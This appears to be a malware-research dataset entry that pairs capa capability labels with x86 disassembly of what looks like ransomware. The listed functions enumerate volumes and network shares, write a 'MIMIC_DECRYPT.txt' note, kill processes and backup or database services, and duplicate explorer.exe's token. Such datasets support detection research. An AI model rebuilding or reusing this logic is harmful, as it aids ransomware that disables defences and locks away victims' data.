joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4596b0
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55acdb
mov eax, dword fs:[0]
push eax
sub esp, 0x22c
mov eax, dword [0x5caea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, 0x5d1a74
mov dword [ebp - 0x21c], 0
call fcn.0044a4d0
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
nop dword [eax + eax]
push 0x248
push 8
push dword [0x5d1adc]
call edi
mov esi, eax
test esi, esi
je 0x459700
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 0x238], eax
mov ebx, eax
nop dword [eax]
xor eax, eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x21c]
push eax
push 0x104
lea eax, [ebp - 0x218]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x459764
cmp dword [ebp - 0x21c], 1
ja 0x45984f
xor eax, eax
mov dword [ebp - 0x224], 0
mov word [ebp - 0x234], ax
mov eax, esi
mov dword [ebp - 0x220], 7
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x459786
sub eax, edx
lea ecx, [ebp - 0x234]
sar eax, 1
push eax
push esi
call fcn.0044a1c0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x234]
mov edi, dword [0x5d1a74]
push eax
mov ebx, dword [edi + 4]
push ebx
push edi
call fcn.0044b3c0
mov edx, dword [0x5d1a78]
mov ecx, 0x7fffffe
sub ecx, edx
cmp ecx, 1
jb 0x459896
lea ecx, [edx + 1]
mov dword [0x5d1a78], ecx
mov dword [edi + 4], eax
mov dword [ebx], eax
lea eax, [ebp - 0x234]
cmp dword [ebp - 0x220], 8
cmovae eax, dword [ebp - 0x234]
push eax
push str.___Found_hidden_volume:__s
call fcn.0045a000
mov dword [ebp - 4], 0xffffffff
add esp, 8
mov edx, dword [ebp - 0x220]
cmp edx, 8
jb 0x459849
mov ecx, dword [ebp - 0x234]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x45983f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4598a0
push edx
push ecx
call fcn.00518d68
add esp, 8
mov ebx, dword [ebp - 0x238]
push 0x104
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x459730
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push esi
push 0
push dword [0x5d1adc]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.005164bf
call fcn.005343f1
int3
Function at 0x459e40
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55ad58
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x5caea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, dword [0x5d1abc]
push 0x5d1ac0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x5d1ac0
mov dword [0x5d1abc], 0xffffffff
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [0x5d1abc]
test al, 2
je 0x459fba
test bl, 2
jne 0x459fba
push str.SYSTEMDRIVE
call fcn.0053a955
mov edx, eax
mov dword [ebp - 0x18], 0
mov ecx, edx
mov dword [ebp - 0x14], 7
add esp, 4
xor eax, eax
mov word [ebp - 0x28], ax
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x459ed0
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.0044a1c0
push 5
push 0x5bed54
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 0
call fcn.004517a0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x12
push str.MIMIC_DECRYPT.txt
lea ecx, [ebp - 0x28]
call fcn.004517a0
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
push 0
cmovae eax, dword [ebp - 0x28]
push bind
push 4
push 0
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
xorps xmm0, xmm0
mov dword [0x5cbbd4], eax
movq qword [ebp - 0x30], xmm0
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x14]
cmp edx, 8
jb 0x459fa1
mov ecx, dword [ebp - 0x28]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x459f97
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x459ff6
push edx
push ecx
call fcn.00518d68
add esp, 8
xor eax, eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
mov eax, dword [0x5d1abc]
mov dword [ebp - 0x14], 7
mov ecx, 0x5d1ad8
test eax, eax
jne 0x459fc7
xchg dword [ecx], eax
jmp 0x459fdb
mov eax, 1
xchg dword [ecx], eax
push str.___Logging_ON
call fcn.0045a000
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
call fcn.005343f1
int3
Function at 0x45a000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1060
call fcn.005192a0
mov eax, dword [0x5caea4]
xor eax, esp
mov dword [esp + 0x105c], eax
push esi
push edi
mov ecx, 1
mov edx, 0x5d1ad8
mov eax, 0x3e7
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x45a1c8
mov eax, dword [ebp + 8]
lea edi, [esp + 0x60]
test eax, eax
mov ecx, 0x5bea4c
cmovne ecx, eax
lea eax, [ebp + 0xc]
push eax
xor esi, esi
mov eax, edi
push esi
push ecx
push 0x7ff
push eax
call fcn.004539b0
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 1
push ecx
call fcn.0053a60d
or ecx, 0xffffffff
add esp, 0x1c
test eax, eax
cmovs eax, ecx
test eax, eax
js 0x45a089
cmp eax, 0x7ff
ja 0x45a089
jne 0x45a09d
jmp 0x45a08e
mov esi, 0x8007007a
xor eax, eax
mov word [esp + 0x105e], ax
mov eax, 0x7ff
lea eax, [esp + eax*2 + 0x60]
test esi, esi
jns 0x45a0c5
push 0x1000
lea eax, [esp + 0x64]
push 0
push eax
call fcn.00530530
add esp, 0xc
lea eax, [esp + 0x60]
cmp esi, 0x8007007a
jne 0x45a0c7
mov edi, eax
lea eax, [esp + 0x60]
sub edi, eax
and edi, 0xfffffffe
test edi, edi
jle 0x45a1c8
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [esp + 0x1c]
push eax
movzx eax, word [esp + 0x1e]
push eax
movzx eax, word [esp + 0x20]
push eax
lea eax, [esp + 0x2c]
push str.__02d:_02d:_02d_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov esi, eax
push 0x5d1ac0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test esi, esi
je 0x45a1bd
mov ecx, dword [0x5d1abc]
test cl, 2
je 0x45a17d
mov edx, dword [0x5cbbd4]
cmp edx, 0xffffffff
je 0x45a17d
push 0
lea eax, [esp + 0x10]
push eax
lea eax, [esi + esi]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
lea eax, [esp + 0x2c]
push eax
push edx
call esi
push 0
lea eax, [esp + 0x10]
push eax
push edi
lea eax, [esp + 0x6c]
push eax
push dword [0x5cbbd4]
call esi
push 0
lea eax, [esp + 0x10]
push eax
push 4
push 0x5bede8
push dword [0x5cbbd4]
call esi
mov ecx, dword [0x5d1abc]
test cl, 1
je 0x45a1bd
lea edx, [esp + 0x20]
mov ecx, 0x5d0248
call fcn.00457b70
mov ecx, eax
call fcn.0045a1e0
lea edx, [esp + 0x60]
mov ecx, eax
call fcn.00457b70
push eax
call fcn.00457e30
xor edx, edx
lea eax, [esp + 0x64]
add esp, 4
lea ecx, [edx + 7]
push eax
call fcn.00459dd0
add esp, 4
push 0x5d1ac0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [esp + 0x1064]
pop edi
pop esi
xor ecx, esp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
Function at 0x45bbd0
Capabilities:
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x5caea4]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
lea eax, [esp + 0x18]
mov dword [esp + 0x28], 0xffffffff
push eax
push ecx
push 0x13
push 0
push 2
mov dword [esp + 0x28], 0x4000
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x45bd4e
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
add esi, 0x40
nop
push esi
push 8
push dword [0x5d1adc]
call edi
mov ebx, eax
mov dword [esp + 0x10], ebx
test ebx, ebx
je 0x45bc20
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x24]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x45bd35
xor edi, edi
cmp dword [esp + 0x28], edi
jbe 0x45bd18
lea esi, [ebx + 0x14]
test byte [esi - 8], 2
je 0x45bc74
lea ecx, [esi - 0x14]
call fcn.0045bbd0
jmp 0x45bd06
push dword [esi]
push str.___Found_Share_Path:__s
call fcn.0045a000
mov ebx, dword [esi]
add esp, 8
cmp dword [0x5d12e4], 0
je 0x45bcc3
push ebx
mov dword [esp + 0x20], 1
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [esp + 0x24], ebx
lea eax, [eax*2 + 2]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x1c]
push eax
push 4
push 0x4a
push dword [0x5d12e4]
call dword [sym.imp.USER32.dll_SendMessageW]
mov ebx, dword [esi]
sub esp, 0x18
xor eax, eax
mov edx, esp
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 7
mov word [edx], ax
mov eax, ebx
lea ecx, [eax + 2]
mov dword [esp + 0x24], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x45bce4
sub eax, dword [esp + 0x24]
mov ecx, edx
sar eax, 1
push eax
push ebx
call fcn.0044a1c0
call fcn.0045f180
add esp, 0x18
inc edi
add esi, 0x20
cmp edi, dword [esp + 0x28]
jb 0x45bc61
mov ebx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x30]
push eax
push dword [esp + 0x24]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x45bc52
push ebx
push 0
push dword [0x5d1adc]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x18]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
Function at 0x45c5e0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5caea4]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x5d1a90], 0
push ebx
push esi
push edi
jne 0x45c60f
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
push str.___CreateHostTable...
call fcn.0045a000
mov eax, dword [0x5d1a8c]
add esp, 4
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
xor bl, bl
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
mov eax, dword [eax + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
nop dword [eax]
push 0x20
mov byte [ebp - 0x19], bl
call fcn.00518d38
mov esi, eax
add esp, 4
mov dword [ebp - 0x18], esi
mov eax, 0x14
mov ecx, esi
nop dword [eax]
mov byte [ecx], 0
lea ecx, [ecx + 1]
sub eax, 1
jne 0x45c660
mov eax, dword [ebp - 0x1c]
push 1
push 0
push 0
push 6
push 1
mov dword [esi + 0x18], eax
push 2
mov byte [esi + 0x1c], 2
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [esi + 0x14], eax
cmp eax, 0xffffffff
jne 0x45c69f
push 0x20
push esi
call fcn.00518d68
add esp, 8
jmp 0x45c730
mov ecx, 0x10
lea eax, [ebp - 0x14]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x45c6a7
push 0x10
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 2
push eax
mov dword [ebp - 0x10], ecx
push dword [esi + 0x14]
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
je 0x45c6e1
push dword [esi + 0x14]
call edi
push 0x20
push esi
call fcn.00518d68
add esp, 8
jmp 0x45c730
push 0
push 2
push dword [0x5d1afc]
push dword [esi + 0x14]
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
test eax, eax
je 0x45c6cf
mov esi, dword [0x5d1a7c]
lea eax, [ebp - 0x18]
push eax
mov edi, dword [esi + 4]
push edi
push esi
call fcn.00459db0
mov edx, dword [0x5d1a80]
mov ecx, 0x15555554
sub ecx, edx
cmp ecx, 1
jb 0x45c782
inc edx
mov dword [0x5d1a80], edx
mov dword [esi + 4], eax
mov dword [edi], eax
mov edi, dword [sym.imp.WS2_32.dll_closesocket]
inc bl
cmp bl, 0xff
jb 0x45c640
mov eax, dword [0x5d1a8c]
push 0xc
mov edx, dword [eax]
push edx
mov ecx, dword [edx + 4]
mov eax, dword [edx]
mov dword [ecx], eax
mov ecx, dword [edx]
mov eax, dword [edx + 4]
mov dword [ecx + 4], eax
dec dword [0x5d1a90]
call fcn.00518d68
push 4
push dword [ebp - 0x20]
call fcn.00518d68
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.00518b27
mov esp, ebp
pop ebp
ret
push str.list_T__too_long
call fcn.005164bf
int3
Function at 0x45d690
Capabilities:
Enumerate processes
Get process image filename
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x454
mov eax, dword [0x5caea4]
xor eax, esp
mov dword [esp + 0x450], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
mov dword [esp + 0x1c], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0x10], esi
test esi, esi
jne 0x45d6f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____CreateToolhelp32Snapshot_failed._Code__lu
call fcn.0045a000
add esp, 8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x450]
xor ecx, esp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x45d73c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.____Process32FirstW_failed._Code__lu
call fcn.0045a000
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x450]
xor ecx, esp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0x20]
push 0
push 0x100401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x45d771
push dword [esp + 0x20]
push eax
push 0x101001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x45d88d
push 0x104
lea eax, [esp + 0x254]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
jne 0x45d7a7
push 0x104
lea eax, [esp + 0x254]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_K32GetProcessImageFileNameW]
test eax, eax
je 0x45d88a
push str._temp_
lea eax, [esp + 0x254]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x45d7d9
push str.AppData_
lea eax, [esp + 0x254]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x45d88a
mov ecx, dword [0x5d1a94]
mov esi, dword [esp + 0x20]
mov eax, dword [ecx]
cmp eax, ecx
je 0x45d801
nop dword [eax]
mov edx, dword [eax + 8]
cmp esi, dword [edx]
je 0x45d886
mov eax, dword [eax]
cmp eax, ecx
jne 0x45d7f0
cmp esi, dword [esp + 0x14]
je 0x45d886
push esi
push 0
push 0x400
mov dword [esp + 0x254], 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x45d849
mov eax, dword [0x5d12e8]
test eax, eax
je 0x45d846
lea ecx, [esp + 0x24c]
push ecx
push 4
lea ecx, [esp + 0x250]
push ecx
push 0x1d
push esi
call eax
push esi
call ebx
cmp dword [esp + 0x248], 0
jne 0x45d886
lea eax, [esp + 0x250]
push eax
push str.___Kill:__s
call fcn.0045a000
add esp, 8
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call ebx
mov esi, dword [esp + 0x10]
jmp 0x45d88d
mov esi, dword [esp + 0x10]
push edi
call ebx
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x45d742
push esi
call ebx
mov ecx, dword [esp + 0x45c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
Function at 0x45d8c0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x5caea4]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
mov dword [ebp - 0x244], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
mov dword [ebp - 0x240], eax
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x23c], eax
test eax, eax
je 0x45da4b
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x238], 0x22c
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x45da3f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push esi
mov edi, dword [edi]
mov esi, dword [edi]
cmp esi, edi
je 0x45da1c
cmp dword [esi + 0x1c], 8
lea eax, [esi + 8]
jb 0x45d93f
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x214]
push eax
call ebx
test eax, eax
je 0x45d958
mov esi, dword [esi]
cmp esi, edi
jne 0x45d934
jmp 0x45da1c
mov ecx, dword [0x5d1a94]
mov esi, dword [ebp - 0x230]
mov eax, dword [ecx]
cmp eax, ecx
je 0x45d981
nop word [eax + eax]
mov edx, dword [eax + 8]
cmp dword [edx], esi
je 0x45da1c
mov eax, dword [eax]
cmp eax, ecx
jne 0x45d970
cmp esi, dword [ebp - 0x240]
je 0x45da1c
push esi
push 0
push 0x400
mov dword [ebp - 8], 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x45d9cb
mov eax, dword [0x5d12e8]
test eax, eax
je 0x45d9c0
lea ecx, [ebp - 0xc]
push ecx
push 4
lea ecx, [ebp - 8]
push ecx
push 0x1d
push esi
call eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
jmp 0x45d9d1
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], 0
jne 0x45da1c
push dword [ebp - 0x230]
push 0
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x45da1c
lea eax, [ebp - 0x214]
push eax
push str.___Process:__s
call fcn.0045a000
add esp, 8
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x1388
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call edi
lea eax, [ebp - 0x238]
push eax
push dword [ebp - 0x23c]
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov edi, dword [ebp - 0x244]
test eax, eax
jne 0x45d928
pop esi
pop ebx
push dword [ebp - 0x23c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.00518b27
mov esp, ebp
pop ebp
ret
Function at 0x45de50
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55b068
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x5caea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2c], ecx
push 0xf003f
push 0
push 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
je 0x45e056
mov edi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 3
push 0x30
push ebx
call edi
test eax, eax
jne 0x45e04f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x45e04f
mov esi, dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x20], eax
push ecx
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push dword [ebp - 0x14]
push eax
push 3
push 0x30
push ebx
call edi
test eax, eax
mov eax, dword [ebp - 0x20]
je 0x45e03f
mov esi, eax
test eax, eax
je 0x45e03f
xor ebx, ebx
cmp dword [ebp - 0x18], ebx
jbe 0x45e03c
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
nop dword [eax + eax]
push 0x5c07e8
push dword [esi]
call edi
test eax, eax
jne 0x45df95
push str.backup
push dword [esi]
call edi
test eax, eax
jne 0x45df95
push str.database
push dword [esi]
call edi
test eax, eax
jne 0x45df95
push 0x5c07e8
push dword [esi + 4]
call edi
test eax, eax
jne 0x45df95
push str.backup
push dword [esi + 4]
call edi
test eax, eax
jne 0x45df95
push str.database
push dword [esi + 4]
call edi
test eax, eax
je 0x45e02c
mov edx, dword [esi]
xor eax, eax
mov word [ebp - 0x44], ax
mov eax, edx
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 7
lea ecx, [eax + 2]
mov dword [ebp - 0x28], ecx
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x45dfb3
sub eax, dword [ebp - 0x28]
lea ecx, [ebp - 0x44]
sar eax, 1
push eax
push edx
call fcn.0044a1c0
mov ecx, dword [ebp - 0x2c]
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 4], 0
call fcn.004549e0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x30]
cmp edx, 8
jb 0x45e01d
mov ecx, dword [ebp - 0x44]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x45e013
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45e072
push edx
push ecx
call fcn.00518d68
add esp, 8
push dword [esi]
push str.___Added_service:__s
call fcn.0045a000
add esp, 8
inc ebx
add esi, 0x24
cmp ebx, dword [ebp - 0x18]
jb 0x45df40
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
call fcn.005343f1
int3
Function at 0x45e080
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24c
mov eax, dword [0x5caea4]
xor eax, esp
mov dword [esp + 0x248], eax
push ebx
push esi
or eax, 0xffffffff
mov dword [esp + 0x10], ecx
push edi
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x45e0c9
call ebx
push eax
push str.____Failed_to_get_activesession_Id._Code__lu
call fcn.0045a000
add esp, 8
push 0
push 2
mov dword [esp + 0x28], 0x22c
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x45e109
call ebx
push eax
push str.____CreateToolhelp32Snapshot_failed._Code__lu
call fcn.0045a000
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x45e15f
mov edi, dword [sym.imp.KERNEL32.dll_Process32NextW]
nop
lea eax, [esp + 0x44]
push eax
push str.explorer.exe
call fcn.0053adf0
add esp, 8
test eax, eax
jne 0x45e149
lea eax, [esp + 0x1c]
push eax
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x45e157
lea eax, [esp + 0x20]
push eax
push esi
call edi
test eax, eax
jne 0x45e120
jmp 0x45e15f
mov eax, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call edi
mov eax, dword [esp + 0x10]
cmp eax, 0xffffffff
jne 0x45e195
push str.____Couldnt_find_explorer
call fcn.0045a000
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
push eax
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x45e1e7
mov eax, dword [esp + 0x10]
push eax
push esi
push 0x1000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x45e1e7
call ebx
push eax
push str.____Failed_to_open_explorer._Code__lu
call fcn.0045a000
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x248]
xor ecx, esp
call fcn.00518b27
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x18]
push eax
push 0xa
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x45e229
push dword [esp + 0x14]
push 2
push 2
push 0
push 0xc
push dword [esp + 0x2c]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x45e223
call ebx
push eax
push str.____Failed_to_duplicate_token._Code__lu
call fcn.0045a000
add esp, 8
push dword [esp + 0x18]
call edi
push esi
call edi
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x254]
pop edi
pop esi
cmp dword [eax], 0
pop ebx
setne al
xor ecx, esp
call fcn.00518b27
mov esp, ebp
pop ebp
ret